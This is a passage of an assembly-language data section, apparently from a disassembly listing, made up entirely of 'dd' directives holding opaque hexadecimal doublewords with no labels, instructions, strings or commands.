		dd 0DE387Ch, 4EBD7BACh,	0F1165E30h, 0FE062DEAh,	6D43FBCCh
		dd 8D920090h, 0B965D00Ch, 0EE00E9E2h, 0A07CC928h, 37F15Ah
		dd 0A4A708ABh, 0CD49205Ch, 0D2112C03h, 803CD97Ch, 0E4DB2CEh
		dd 6D8EDC2Eh, 8406F020h, 78282C3Fh, 0C900D449h,	0E5CDC103h
		dd 48690Ah, 7C123861h, 804D431Ah, 0D9537900h, 8B9BB4B5h
		dd 0EC6318E2h, 0C2242015h, 61EF5000h, 4B0C79F1h, 0DBE60065h
		dd 0EE197A73h, 0F44CB046h, 67E000C8h, 0D2D3A2D4h, 373801FFh
		dd 0DF548ED9h, 553D20CFh, 0FC0EF800h, 0BAD5C76Ah, 0F6AD2E7Ch
		dd 8312C4h, 3F235623h, 3E00BD5Bh, 97BC013Bh, 0E153A1h
		dd 33C94D66h, 2C611BE6h, 0C4901500h, 1CAED1C3h,	930E03D6h
		dd 3A75F682h, 41A0E1E0h, 15A82E00h, 6F676245h, 0FD790083h
		dd 0EF889AB7h, 5B021976h, 803DD21Ah, 75CC4046h,	8FE60192h
		dd 612308B9h, 0F5613094h, 5440F30Fh, 0CA49600Dh, 84306Bh
		dd 18881659h, 0B0A31D11h, 0F83C8900h, 0D6DF408Ah, 0A13307DBh
		dd 0E3F298CDh, 0FFD55E27h, 351881C0h, 81860077h, 328385D0h
		dd 37001F89h, 53207CC7h, 19A36Fh, 84F6815Dh, 3183CFEAh
		dd 0F29BE100h, 5E348F46h, 8CC0A0A4h, 0D78B0064h, 1697B24Bh
		dd 0D0007E26h, 6E9D29CAh, 145A3524h, 0B4E5B707h, 0B2920D01h
		dd 20E191DDh, 0F500A6B4h, 0B42142BBh, 248CC0h, 416BC753h
		dd 1322BE32h, 64708676h, 8462890Bh, 0BF7984A4h,	0CBFC6CD1h
		dd 3B07E422h, 4B1FEBB8h, 962D1100h, 0FCA0509Fh,	0C7E27E1Ah
		dd 7AC37606h, 40FC7Fh, 8F633095h, 6B3B75E5h, 4546D600h
		dd 7C9CB470h, 0B0FE647Dh, 553881F7h, 5D8F60B1h,	0F87F0600h
		dd 4836083Ch, 38090720h, 50049D72h, 0FADD44F9h,	1A257304h
		dd 14808BA8h, 48A24D6h,	0CCE14207h, 91BD004Eh, 3CF9F75Dh
		dd 0A68008FDh, 87D04F8Eh, 0A907FF96h, 150F4D44h, 0F9512880h
		dd 0EB2F12D5h, 48D003B0h, 1D9867A9h, 4003CF7h, 0DF419007h
		dd 28CEB41Bh, 0C03357h,	0B61ADA0Dh, 8C6AA80Ch, 0C0E0A670h
		dd 75E1202Ch, 377CD600h, 2F406Dh, 960A2B09h, 0BA9D4EC4h
		dd 28429405h, 0F0007D13h, 0C6CB74E7h, 1C5A07C2h, 0B00379A2h
		dd 984B4408h, 0B7DEA419h, 11600C58h, 1EA03EBBh,	60DF8389h
		dd 5ECC9001h, 2969F0B0h, 96E18E00h, 520F8D5Ah, 3BFA1A9h
		dd 5D02BC8Bh, 4619D500h, 0D4F8B8C8h, 682ACD00h,	53D1CE96h
		dd 0F750071h, 27C00CAEh, 0FA00873Ah, 19975763h,	34B288Ch
		dd 1F416AF3h, 94C8CDABh, 8B0E5A27h, 0E0060B49h,	0AEFB584Fh
		dd 0F5BC2E08h, 704400D4h, 4AD9732Dh, 0F4182200h, 205786CEh
		dd 0E478E7h, 0FABDB698h, 0C171D891h, 5070B90Ch,	842092h
		dd 0FEDB5E52h, 311481F0h, 7132F507h, 0CB6068C0h, 487B5Bh
		dd 59D3C7D7h, 8B13B518h, 0CE81DB63h, 0E3F4989Eh, 0E4E8002Bh
		dd 4117F360h, 0DD09566Fh, 60B1FB7Eh, 1DD101D5h,	0F123E3Ah
		dd 0BF208CA0h, 0DB2E1814h, 87F49C00h, 2108AFC4h, 0D60C4C4Bh
		dd 3146FC00h, 14EA8A04h, 342F072Ch, 12A0300h, 0F2B9664h
		dd 0E27B8784h, 99FBE380h, 0EB1DB6A6h, 2400CB46h, 2D773A38h
		dd 0EDB0971h, 8400EC62h, 830D42A9h, 110AAA00h, 0B9056BF7h
		dd 5CC100D2h, 37CA43D4h, 54072529h, 0A096D53Fh,	9DDFB140h
		dd 789758D3h, 0C4FA17h,	0B57E51CBh, 0CD380D4Ch,	0F7038074h
		dd 0F8893C2Dh, 2BA10043h, 60CCE36Dh, 2501914Bh,	399E36E9h
		dd 53E83D7Fh, 458C007Bh, 0D9E30527h, 0C0E18FCh,	426AA4C4h
		dd 666235EEh, 240EA9Ch,	0B578DCA1h, 5D4039CAh, 4D04F511h
		dd 450922CCh, 863DB8C0h, 0D7730Eh, 5FA98830h, 0BBFD44A8h
		dd 9C1DD900h, 0B2F3E192h, 25C0FFAh, 0F74013CDh,	0B0F42865h
		dd 80C17D3Ch, 0E49F672Ah, 2015E91Ch, 660BF56Ch,	101D4F9Dh
		dd 8132A5F0h, 0F639E8D3h, 0FFFA4200h, 0E9132CD8h, 19EE0094h
		dd 3BFB3828h, 91000F64h, 4C304760h, 2E6F1B59h, 2436452Bh
		dd 8F3C1D45h, 2A408821h, 8799059Dh, 5C331200h, 63E6C142h
		dd 6EE4009Eh, 783AF4F0h, 0EBEC94B6h, 0F33B2E00h, 0F6EC5758h
		dd 0F4190063h, 2549CDE4h, 0FDA0CC61h, 51007848h, 7AD7F390h
		dd 6D5ED1h, 41B9258Bh, 0FD4D7673h, 970035EAh, 9CD9F5BFh
		dd 483DB8CAh, 797E8Ch, 0E3744E4h, 3C804512h, 0E721C800h
		dd 0B6FDEC40h, 0EFC91F55h, 68634111h, 0E465B1B9h, 9F3EC897h
		dd 0F770804Dh, 2A384405h, 2558031Fh, 0DA8A7BF8h, 9D0A98D6h
		dd 584C5749h, 0B03B3358h, 0F4CE1CFFh, 29654085h, 8B972D55h
		dd 8AE25A00h, 40A48811h, 0CEA81899h, 469AE131h,	321DDB2Eh
		dd 1F43DF00h, 3740F4h, 0F945FB78h, 71A4C7B1h, 702E51Eh
		dd 535C0100h, 204966h, 0B57DF2A3h, 5E605203h, 68C9D31Eh
		dd 721BD680h, 0F714E7h,	615BBD71h, 0E6CDCE1Fh, 2B620B1Ch
		dd 0B4384100h, 0A6E984h, 73D1776Bh, 1FD5D69Ch, 290ECDE4h
		dd 0E044E54Ah, 4B14302Eh, 2F0617EDh, 0EC8100A4h, 8CDF6347h
		dd 0E3601360h, 33A2228h, 0C1CBE4DDh, 6188DE87h,	0AC007F86h
		dd 9BA2A3EBh, 1EDB470Eh, 4EFCD01Bh, 4A2057C5h, 4528702Dh
		dd 0AC936800h, 0FB0D9856h, 34F700AAh, 94A01E1Fh, 0F50748CCh
		dd 0B465B841h, 1C752DF0h, 0CE980020h, 15111D08h, 0F8FA4E54h
		dd 221BE800h, 0BDA1E9A9h, 55A00052h, 0C6E7DD4Dh, 0FC01A6FFh
		dd 85EF797Fh, 77E97387h, 2C58C0h, 0C4E79C90h, 8220437Bh
		dd 4C298826h, 1C56C700h, 8EAE78h, 365E6BD9h, 33CB050Dh
		dd 0B12FFF19h, 10DC4EE0h, 5EF400A7h, 8B234476h,	0BF3A20A2h
		dd 701180A5h, 0C86D31B8h, 4C5E00F9h, 0A2572EEh,	0ED073B16h
		dd 0D819C09Fh, 0A9E0DA10h, 2CF6387Eh, 78EC0079h, 1595E20Bh
		dd 3E00A61Ah, 1B81C328h, 0B79C39h, 487C38EFh, 0A224BA35h
		dd 0BFC17A00h, 635E02D8h, 5D220740h, 70FD64FBh,	7B3B3980h
		dd 29C40500h, 0A73E91D4h, 1E400F7h, 22195650h, 0DB1C2F4Bh
		dd 769CF17Ch, 80651CC0h, 73A1B84Ch, 0ADF000A2h,	0D1A034A9h
		dd 0CD7095BFh, 0CE387B02h, 0A0FA55B9h, 83C9E2DCh, 30C10323h
		dd 0E03FCD90h, 73C65790h, 6624D307h, 8AC0B0FCh,	0EDA918E9h
		dd 6E3D60h, 80B8DE79h, 0D56D888Fh, 425E5100h, 0C7D99AF5h
		dd 81700194h, 47A7C516h, 7AB7FCF6h, 7DB39C03h, 0C059853Bh
		dd 9B41C3h, 0BB5D1ADBh,	542D1672h, 44AD1E00h, 6A2662ACh
		dd 220900F7h, 0F5F3B4F4h, 0B81D63D1h, 354B15A5h, 3A9D8080h
		dd 3C49BB90h, 0B500782Bh, 0A767FED7h, 1F72DF8Eh, 0B34ADB07h
		dd 53A19F9Ch, 1AFCD88Ch, 180600C1h, 0D4D2B88Bh,	307BC04h
		dd 5622C9E8h, 1D1EDB40h, 0E608004Ch, 49F54BEFh,	29607BB9h
		dd 0D24D67AAh, 36DFAD7h, 77A7AEA3h, 88011E3Ch, 0C269C355h
		dd 0BC8008A9h, 0BCF3F528h, 500E164h, 9C818D20h,	59D053h
		dd 176BA85Eh, 41F45CB8h, 45ED3Eh, 1B2F3A34h, 708E806h
		dd 0CF9EEB82h, 0B9F04787h, 29585B81h, 5160E889h, 7BAD9100h
		dd 78A7C486h, 278E0080h, 106D6930h, 4E3C1396h, 0C4BC94ADh
		dd 663CB0h, 0B9B48D2Eh,	14107960h, 80089887h, 4700343Bh
		dd 0AE6F2ACEh, 0FA1FD3B1h, 5B40036Bh, 5135F0B0h, 7D97E55h
		dd 0CF47533Ah, 0F2D44095h, 60729BC1h, 26AD8D00h, 0F3E7B6D9h
		dd 5240003Dh, 0CD38564Ch, 0E0177C2h, 0E56D79B1h, 8E607CECh
		dd 0A03D7C3Ah, 85739Ch
		dd 0E4FEA5C5h, 2CC90C6Bh, 0ECEB4F00h, 95763A3Dh, 247163h
		dd 0B317B4AEh, 4B04FCF7h, 0ACA52000h, 912DE710h, 0D08C0F14h
		dd 23C0CE9Fh, 52CBBFA9h, 752ABE05h, 541DC20Fh, 3736803Ch
		dd 957BF23Ch, 0DA281784h, 29BA0076h, 626F0E83h,	703F1C7Dh
		dd 3D9207EFh, 2A10DFA7h, 3F01D87Dh, 1480EAABh, 0C98ADDC3h
		dd 0E40091CBh, 37335BDCh, 631D3Eh, 0F6BF8F4Dh, 0D7CE1A01h
		dd 0BBF9DA03h, 981924F3h, 0E08D8h, 0B878CD40h, 0DDA81D49h
		dd 5DE2000h, 57FA9806h,	0FEC40FABh, 47FFE3CDh, 0AB489286h
		dd 0A123AF03h, 0BC4438E8h, 5F0061F4h, 0AACE93CBh, 0E2AE1660h
		dd 88B7000Ah, 396747Ch,	12001B10h, 24278AEFh, 902877D8h
		dd 0D27D6Ah, 0BB33CAFh,	9A90EF0h, 5C7B3A7Bh, 0CC6DBA00h
		dd 14A57F84h, 0BD79008Bh, 0E7A3CD69h, 4A000DFCh, 40969A5Dh
		dd 36E7704h, 0F5780506h, 0A0978450h, 0FC5465A1h, 222CF72Ch
		dd 88594003h, 6C72B8B7h, 0B5FA015Ah, 0C6CA811Ah, 0C52DC0FEh
		dd 0D84A3900h, 0B0F8B6C4h, 0B5C204F5h, 0C0119A53h, 1A970136h
		dd 0A328C800h, 75432508h, 5D4B094Eh, 0F08E324Ch, 0CA989C40h
		dd 8200E5F7h, 8F75F4F2h, 0C0254Ah, 273C6247h, 0EE9578F0h
		dd 0B09E1500h, 0A53F0B5Ch, 6DE2B4h, 26E1A32h, 6C0A0DC0h
		dd 30783609h, 42CE0051h, 5659C82h, 59CEBC85h, 0BA9801F3h
		dd 0E3E68D35h, 0A4C3D3D0h, 4ABC3603h, 0D0DDCC4Bh, 0E01CB2h
		dd 68BACBD1h, 0DB777C7Bh, 70874830h, 88802Bh, 0E7FFBEF5h
		dd 0ACB813D2h, 0B001E800h, 0BAD0DC0Ah, 610C0009h, 7B6B41A9h
		dd 6348A646h, 0F9DB00EAh, 0B174EEF1h, 50B80092h, 31E26DD3h
		dd 0C800DAEBh, 0C5FD0212h, 63FF25h, 0D9A1AAC7h,	9187BD05h
		dd 7DF50E00h, 0F0AB506Dh, 2D7CA7h, 0A4447E34h, 6F3776ACh
		dd 6CB85C7Dh, 216BD207h, 8BB02010h, 7BC1182Bh, 9E573A3Bh
		dd 14A90F00h, 0B7F5B456h, 0F3C57600h, 122B1A96h, 1E653D39h
		dd 6C8DB080h, 38CFEEFDh, 142A7107h, 0D0FBB5F3h,	0F59E58CAh
		dd 0C6D82003h, 0EC905A51h, 9000970Eh, 0CDDECB2Dh, 4868A081h
		dd 3E00009Ah, 123FB683h, 0C4605618h, 9ADA4571h,	0CFDC0093h
		dd 153FE872h, 10A95918h, 6B402DDh, 3E1B0891h, 0C320E8D7h
		dd 5B6DE0D4h, 7DBF5870h, 10B7526h, 975AC685h, 0DD76F8FBh
		dd 59E7A200h, 2411999Ch, 3B570047h, 747BD13Eh, 0B67A8B38h
		dd 0A89B2F30h, 0E868F3h, 6E96FC4Eh, 0B66AA6C1h,	258DC400h
		dd 4C76C0D5h, 0F3010012h, 9F091342h, 4566DC7Ah,	901B40h
		dd 0EF049770h, 0EDA4D6BFh, 0BDEAD500h, 0AC3992F9h, 1F5E42Bh
		dd 5599BC5Ah, 402E1309h, 2922B7B9h, 6F812C01h, 6E637E16h
		dd 0F64B120h, 685CA4EDh, 9D0A1380h, 780CB617h, 0B02BBE79h
		dd 8B690096h, 626A4B2Eh, 4E00E72Dh, 5F191F5Dh, 2A721CEDh
		dd 0A8B5F2h, 2A2B911Eh,	208FCCF5h, 4A260100h, 0CE146729h
		dd 18FD7010h, 31BCF218h, 9948EEADh, 0BF5D01DFh,	0D88A44C4h
		dd 7E766ADCh, 289760D9h, 0FEFC4774h, 33D5DE0Fh,	83E034A6h
		dd 0C8182DA2h, 99B73Dh,	0E3FF6A5Bh, 713647D4h, 8A8BDF06h
		dd 0C90EBFh, 1A3FAA4Bh,	3ED5038Fh, 80CDBE39h, 0EC1F99CFh
		dd 6EEFC6h, 476A2191h, 5539B5E6h, 94A5D51Fh, 13D71B0h
		dd 0C50F0020h, 81521793h, 0E61BC883h, 0B020B91Fh, 0A81045h
		dd 552731FEh, 772C38D2h, 0F0B9A10Fh, 9ADBE079h,	0C7BF482Bh
		dd 4CA5DE31h, 0B500BEA1h, 76EFB19Eh, 7B383F7h, 0C6247DB0h
		dd 0EECE9074h, 0D50EF43Ah, 8070432Bh, 16C4091Bh, 7A41C713h
		dd 1E40E0A2h, 37038878h, 0D91706CBh, 49B589CCh,	3E8C72F0h
		dd 0D581AC81h, 4F4B3E76h, 0E02AC537h, 600C757h,	0CCE688E3h
		dd 30EF767Bh, 0D228C8EAh, 81014FF5h, 62421E3Ah,	30DB56CEh
		dd 9621C208h, 0A90F8147h, 182CDF45h, 9D4C60h, 0D761D893h
		dd 2077123Bh, 70CC0A00h, 3832E4E0h, 793D03D2h, 7C8B4E85h
		dd 60A9781Ah, 11401750h, 1EB380C1h, 0C3802C13h,	0D44F2D58h
		dd 4E652118h, 827EEB68h, 5583802Fh, 1EEB57B8h, 49F810E6h
		dd 0D64C2D18h, 1F18B21h, 1EC62AD3h, 30D5A846h, 41C0D0B7h
		dd 0F6F58DB2h, 9A920C4Bh, 7F095342h, 85C021DEh,	0B026C1F5h
		dd 976F032Ch, 77B80B28h, 841EA006h, 797856h, 52128CF7h
		dd 6C6B279Ah, 73306D14h, 0FE7D0684h, 0B883F2h, 1DA9F61Ch
		dd 0EFF4E04Ah, 69C3290Eh, 19CBA011h, 738D957h, 0C7306BBFh
		dd 0C90900F9h, 0AE008B07h, 256F3FA9h, 0C9783B5h, 40B12071h
		dd 8F03A692h, 0CC2E42B8h, 0F2FD9849h, 23FA0B8Bh, 0DC81D11Eh
		dd 0D44DF819h, 4F00EBE0h, 0C8F99439h, 0E6A4A06h, 0D73468CBh
		dd 8056D225h, 9A08F35Fh, 23FB2A00h, 0EEA5BB39h,	0B99B00D8h
		dd 62E7A430h, 5D01769Eh, 7783706Ah, 38825968h, 0ED4FDDDFh
		dd 1D5D281h, 18CD4621h,	8C33B61Dh, 80C06034h, 1E2046DBh
		dd 1D29D48h, 37225A8Dh,	7230F068h, 0AA98A32Ch, 2C4D14h
		dd 0F37906D5h, 1861961Dh, 71C6271Eh, 8740C917h,	0E07CFBh
		dd 0EC132F9Eh, 6BB6C0ABh, 4575E102h, 810FD9D6h,	61A36EFFh
		dd 0C35E7470h, 0F7D8ABC0h, 0E18A15A9h, 3CF9EC69h, 18CC0200h
		dd 0FB2BDFE7h, 0B7EE3054h, 8233D310h, 28D4CE18h, 0CA5680h
		dd 7332110Dh, 5E1DA87Eh, 0C9647713h, 0B6DEB400h, 609D0551h
		dd 966A202Ch, 0E9E8958Bh, 0D9FD7C01h, 4B1EA2E4h, 0DEEFE8h
		dd 0B6320792h, 521B46FAh, 28C72100h, 78B73FC8h,	823600FDh
		dd 64800D0Fh, 9D03B84Fh, 4BC4DA74h, 0C34AB86Fh,	0DD7D0028h
		dd 2C776401h, 7300F07Fh, 0C0BB5479h, 585F1834h,	0E900F9A5h
		dd 91997DFEh, 70EFCCFh,	3E5EF1D8h, 70DC9F07h, 0F44E1830h
		dd 1DDF3FA8h, 90500100h, 0D51B3A6Ch, 0AF005E7Ch, 0A7056EB9h
		dd 0FC2EB7DBh, 21E8D7h,	0B02917CDh, 0C018422Dh,	0DFE078C7h
		dd 0D5A08A81h, 6C10ACh,	92BF582h, 0C4317A4Eh, 866819D6h
		dd 0BAC0EE17h, 0BC0CA34Fh, 0A88050FBh, 0F405105Ah, 50956371h
		dd 3E6AA440h, 0C7E66EFh, 614AD136h, 0E65056C8h,	0DE00FC88h
		dd 0C4E4D7FEh, 268610h,	5A81B28Eh, 0F6DC0BCFh, 3846050Eh
		dd 0DDF780A8h, 0F23A4Ch, 5B5916D3h, 5A412DDAh, 21C03FE8h
		dd 6CF13263h, 0DC1000A4h, 0D2342214h, 5EC3185h,	4F06A67Ch
		dd 6B52BF7h, 25AC1E30h,	6D03803Ch, 84A8FC69h, 1F083963h
		dd 432010F6h, 133C0144h, 0F8354D57h, 18B4DBC4h,	79A9862Dh
		dd 1300850Ah, 73C2302Fh, 188D97D5h, 681FA1F4h, 29CED462h
		dd 5EAEA02Eh, 1DA0EFA9h, 0C67FE4ABh, 9101F503h,	10C90501h
		dd 0DE30CDFAh, 0CF571083h, 0E49037E8h, 0B01D0148h, 0F818499Ch
		dd 0FC293431h, 0AEEF03BAh, 58125667h, 833260C9h, 49CA6CF0h
		dd 6890025Dh, 0A5FAD7D9h, 632084A4h, 6CFCD03Dh,	0F2608CA1h
		dd 4F454221h, 0D983049Bh, 8070A38Dh, 0AA01F49Ah, 0F891B10Ah
		dd 1E83D80Fh, 84CEAh, 49C52F10h, 34FAB341h, 9674CC00h
		dd 0ACD9704Fh, 927B07E1h, 704704BFh, 75CB6C6Ah,	8EA42D05h
		dd 7080DF97h, 5D8AC6h, 0F1F9B22h, 70ABC7CFh, 31F9E51Dh
		dd 0BC2F6C40h, 842DC1h,	1BF3250Eh, 0AA78800Ch, 0C55FCB00h
		dd 0C492ED83h, 0E98700A6h, 61A5DAEBh, 427FCF36h, 5B03E303h
		dd 0C8BC768Ah, 11FB51h,	58C769B2h, 0D09EB002h, 0A4266A03h
		dd 0C1EB2FBBh, 10A16B30h, 5619F004h, 3102360h, 3A469CB4h
		dd 3C1F174Ch, 0ED1C0072h, 1978DA86h, 2EE8961Fh,	8C038Bh
		dd 144C6F9Ch, 58090E68h
		dd 7C6ECC21h, 39BC32A0h, 0FD00759Bh, 3CB274FEh,	3BC71BB8h
		dd 5B007A41h, 0F75C0F19h, 9C003658h, 0D8F3813Dh, 0EBBFD51h
		dd 0C305911Fh, 8FEEB5E3h, 0FEB68C80h, 74E80400h, 5FA70C7h
		dd 0D0EFFDB0h, 147568h,	0CD1B961Eh, 7FF37462h, 0F7BA7100h
		dd 7972AFC5h, 2B67009Eh, 86C3209Dh, 8507D429h, 18A90C7Ah
		dd 3E4D6593h, 7BEC30h, 281A7DEAh, 5153E498h, 0A9EE8B00h
		dd 9C45AC07h, 5F7E73h, 1F0AC08Dh, 9415A4F4h, 0D697520Eh
		dd 0E9C13CA6h, 8CDE1B26h, 1C45EDF4h, 0C0F0887Ah, 860C4C18h
		dd 3800EF31h, 0E0839DF1h, 0F5907h, 0F54D55C3h, 11318C02h
		dd 0EAF17601h, 222BE2A1h, 0F3DEF8h, 84B937CFh, 5CBB0769h
		dd 2A066F00h, 613082FAh, 0F8B004Dh, 5DC5B36Eh, 0CE07FB89h
		dd 0EFE18674h, 264E2F51h, 8EB4C4h, 347F0308h, 4973C6Fh
		dd 0F4C9F3Ah, 0C0813E56h, 0A2E7ECFDh, 2484002Eh, 0A6482F20h
		dd 5F007192h, 0C473FB1h, 0EC6268h, 2DA5ABC8h, 6DE30489h
		dd 372A4E07h, 4B50C5B0h, 60EE3F09h, 0A2C3EC6h, 0E70E5DF1h
		dd 432A2D61h, 0B9C975A1h, 0F040EC85h, 8EA79Ch, 1F5EE52Bh
		dd 0F8C7537Ah, 0D300DA76h, 0B850CC42h, 0C18069h, 3DE6113Fh
		dd 4DDABA78h, 0FAD2C50Fh, 5696A0A6h, 6F904095h,	6820219Fh
		dd 0C016FFE2h, 6E7DE900h, 274D5D60h, 9D710094h,	6131B9EAh
		dd 700E244h, 472B6E2Ah,	76A9E8h, 90B7FEF2h, 793C9F38h
		dd 701C2F7Bh, 0B6406FA5h, 0EEDCAEE5h, 0AAF23E22h, 9A717780h
		dd 65DA1BC6h, 0B384BF14h, 2BE700FDh, 10A292C9h,	0D0EA00BEh
		dd 4D1CBA49h, 41763A76h, 6D709C06h, 0F11865Fh, 0D56D9E9h
		dd 4D3532C0h, 5A988D24h, 70B1800h, 2857C823h, 91A20094h
		dd 0B5648F54h, 0D6760FF3h, 1E51300h, 80666D4Ch,	0F8703Ch
		dd 0EBBAD3EEh, 0B818FBB3h, 0CD6B3300h, 0CC9B279Ch, 43910098h
		dd 0A6B01503h, 6F00BB2Ah, 0E9D99DBDh, 48C00F56h, 391DBF3Eh
		dd 0CA1C099h, 0A37166E6h, 0CF26A200h, 573C2C94h, 2E733E7Eh
		dd 8813BF80h, 985571BEh, 0D76D8301h, 701130A1h,	1D9C20h
		dd 0BC04246Eh, 0E3125EE7h, 0B3C38B00h, 445DA93Eh, 48250C70h
		dd 1CC102E1h, 90358200h, 407336E9h, 6B711884h, 5E67789Ah
		dd 0C87C6F03h, 3B335D1Ch, 58804FB0h, 0EA1AC18h,	0D100BAA4h
		dd 0C4BB2FE1h, 1C6AF1EDh, 40B2212Eh, 0B1915948h, 0F8246C4Fh
		dd 1B007097h, 44060E56h, 0C2E4F431h, 9CD0F638h,	2720E560h
		dd 50C9D926h, 0B6DBC701h, 1FCF81Ch, 2EAB0008h, 0C0ACFCF2h
		dd 1860A59Eh, 0F07683D0h, 2BEA3F84h, 1BF1D30Ch,	0D900F218h
		dd 7B130C5Fh, 0E8B404h,	436D59A2h, 0F67657BAh, 0EE58FF7Ah
		dd 39007035h, 30602C81h, 4C1087h, 357DA684h, 0FE48C24Ah
		dd 0B88C60Fh, 542923A3h, 73A9F0E4h, 2AEE249Ch, 2C790374h
		dd 6097AD3Ah, 0B4F6FA6Eh, 383BB739h, 787787F5h,	18A03499h
		dd 0FA8CFDC6h, 0CB110084h, 951C4FAh, 46FE0143h,	0F3047F75h
		dd 124018EEh, 2FC03B0Eh, 88D07A44h, 57BEE71Fh, 3C984540h
		dd 3E4723h, 0E5A44FADh,	0FDB36D64h, 375A8D07h, 3F208850h
		dd 308E33F8h, 0CB30480Fh, 8A76145Ch, 0BD3A853Bh, 1F25BD4Dh
		dd 9001B27Eh, 5FA68CEAh, 0D450F5C5h, 504EC20Ch,	4821D807h
		dd 1F0060A3h, 1B4A08A9h, 0E2ACF15h, 0A03DD4D6h,	2CA8CC1h
		dd 55C28A2h, 608F5554h,	17638013h, 0D10095FFh, 0F80F57C7h
		dd 49035866h, 0ED005CA1h, 6E5B246Fh, 76EA31D3h,	0F571B800h
		dd 4ABA397h, 0B2D70FA4h, 4A698E54h, 9068FC2Eh, 6F42A440h
		dd 48BA033Fh, 598C8BC7h, 0F4EF68E9h, 1CE23012h,	29A1D204h
		dd 6CC56516h, 0E41E7980h, 0F4E300B7h, 0F502497h, 0BE0071E7h
		dd 0EEB21A55h, 11743C4h, 0E8ED2360h, 0F87396E1h, 0B503920Ch
		dd 7DADD73Eh, 533D882Ch, 0BB660ED3h, 16A063F1h,	565FD152h
		dd 3CC99700h, 0A89F2A9h, 65E5006Fh, 8F342B2Dh, 0AF03F52Eh
		dd 0C0A8AC66h, 22600017h, 147AC2B4h, 0D100D6DEh, 888251A9h
		dd 0E4263B7Fh, 45C0068h, 36422275h, 3EF0B027h, 77EEDCFAh
		dd 0A167FC09h, 68AB8012h, 0DBCC5Dh, 7ACFEBAAh, 8B03BB15h
		dd 649D5B00h, 0B2081893h, 35971C67h, 0D2CBC096h, 0A4DD3FC3h
		dd 1345A800h, 0AC3B617Dh, 49DA0237h, 8F3A4C2Bh,	0ED5CE440h
		dd 0CA4E2700h, 4F09E75Eh, 0E0DC09C5h, 2CA0BD39h, 189629B7h
		dd 2B002FF2h, 7FCAD628h, 0FCBFC2B1h, 0D7CB001Bh, 0CDF51C05h
		dd 0FB000A07h, 811058E7h, 30FEAFE1h, 9DEAEE92h,	6B0F6785h
		dd 2C37448Bh, 3C180D7h,	6C364DD3h, 103C703Bh, 0C2E401C3h
		dd 4597F1B5h, 8DA9A984h, 9430806Ch, 630E1DF0h, 8025F93Bh
		dd 3896C9DFh, 0E44E0E58h, 80BD8D77h, 3F21CC4Bh,	0A81BA6C2h
		dd 3068C0E2h, 285098AAh, 5641C824h, 6DC054E1h, 45A50548h
		dd 0C8DF2F3h, 0EB38BF3Ch, 0F188C20Ah, 0A7000C9Ah, 5DD66CA8h
		dd 59A50FF3h, 3034F2F4h, 0E8268D80h, 0EA1C8EB2h, 0F5006B64h
		dd 0A5C7F2ACh, 10710730h, 21449317h, 0F008582Eh, 9F3BB806h
		dd 924F0059h, 8CCE222Ch, 0F778BF4Bh, 2AF53F00h,	80D98F7Dh
		dd 1C090032h, 0AAE49D21h, 93004360h, 2D461238h,	24A7A58h
		dd 6431A066h, 0C5437FF7h, 0A69B5BC8h, 6E27CC00h, 0C0E85391h
		dd 1E6A004Dh, 0F11A8D17h, 1902549Eh, 913FDCC4h,	42607F6Dh
		dd 4600106Ah, 34B21C9Bh, 874A77h, 0D22BD338h, 0A3A0B85Dh
		dd 0A84EF000h, 721A9594h, 389C00FAh, 4B416AE7h,	0F539BBFCh
		dd 18171303h, 29852102h, 20F3E237h, 52927FC0h, 2DEF01A7h
		dd 85D46DF8h, 747CD1FBh, 7A001640h, 3CA47F52h, 701EDD56h
		dd 264100C0h, 0F2FAE6DFh, 0D903C25Ah, 0A9690351h, 29181C24h
		dd 9B948134h, 288F795Fh, 51047848h, 0F93CE83Fh,	0F293E280h
		dd 0FF63740Dh, 0E7B22181h, 0DB8334E8h, 6EDD69C0h, 0DA3050C1h
		dd 68B5EFF2h, 585803B9h, 20006949h, 3F77319Fh, 0F8AC39D0h
		dd 4AE76025h, 819AE2FAh, 2F75D274h, 0EF84B000h,	6C685820h
		dd 7451799Dh, 21BD626Ah, 76005C0Fh, 5ADBB3h, 1B4B4AA1h
		dd 4FDAE885h, 44F2B100h, 0FAE2D081h, 709203C7h,	0F98C48E9h
		dd 0FBB03BC8h, 3D80E500h, 0CE495E43h, 39300C38h, 0D060F177h
		dd 5C99C200h, 0F6345206h, 8C691DCCh, 2E303FF5h,	5C81AB20h
		dd 0FF43B800h, 0DD17FED4h, 88C460B6h, 0DCE3CF04h, 10D5FA30h
		dd 0B98F65h, 96BC0ABBh,	0AF3668CAh, 0A0DE601Eh,	9AD2F4CAh
		dd 929C5118h, 0E0CEEFBh, 3E4B5C91h, 0A3ED2B40h,	7117FCE5h
		dd 6A00A57Dh, 13E6F09Ch, 775F026h, 6A878314h, 0DDB74064h
		dd 93008A21h, 136BCD56h, 0BF2344h, 5D165CA4h, 791EDCEDh
		dd 0F3B41203h, 887DB33Fh, 0F6087E05h, 913A006Dh, 393CE7D9h
		dd 0D8001E3Bh, 1FEC6A1Ah, 42860Fh, 28EFE93h, 0B6E8E529h
		dd 0F357D43Ch, 64BB5103h, 0A0DA7261h, 14757132h, 9307EFB5h
		dd 54664E06h, 0CE600850h, 0EFAE1421h, 63C30024h, 553E9990h
		dd 0DC03B25Bh, 3CDB3396h, 0D5280010h, 0F5A76444h, 460C7FE5h
		dd 86FDDD9h, 0AA21C047h, 3175A79Ch, 3AAF730Fh, 52CCC0FAh
		dd 0B0C4CEh, 0EBEC9722h, 51DA770Bh, 388C2D30h, 1F3A9142h
		dd 0F36AFD21h, 20346502h, 686BA1D5h, 56B876h, 7A2ECF70h
		dd 0F7DE792Fh, 0AF4FC600h, 686A2CCCh, 0E84C6FA5h, 46860393h
		dd 28043BC5h, 0B1C79D63h, 59C63906h, 8D42FF00h,	6DD90B23h
		dd 2F04005Fh, 0AC5A3A80h, 5618CE17h, 0BC504B19h, 0A1F1028Ch
		dd 0D4B71B15h, 0C04F02h
		dd 0FE1793CEh, 9A0329F0h, 4EB2DCE0h, 0A49A00FCh, 1A353D23h
		dd 0C700E812h, 34AD5EA3h, 3F221EDh, 2816C980h, 58C01B79h
		dd 0FCF255CAh, 7082F100h, 36E8F6C4h, 0F00903BDh, 0C67D4FC1h
		dd 0B6AE3001h, 65C04264h, 33AF5E8h, 0E0A7A18Eh,	50061744h
		dd 77A811C6h, 0F48E431h, 0C70DF658h, 19E94F06h,	69F17800h
		dd 94D556A0h, 187C030Ch, 0A8F7E06Fh, 8D0137E0h,	0C55080E5h
		dd 4A101661h, 62AC00E8h, 7A900D7Fh, 94002F47h, 27A6CDDCh
		dd 6EFE1B6Ch, 5BE0188Fh, 4E21781h, 0CAF6419h, 3DF75731h
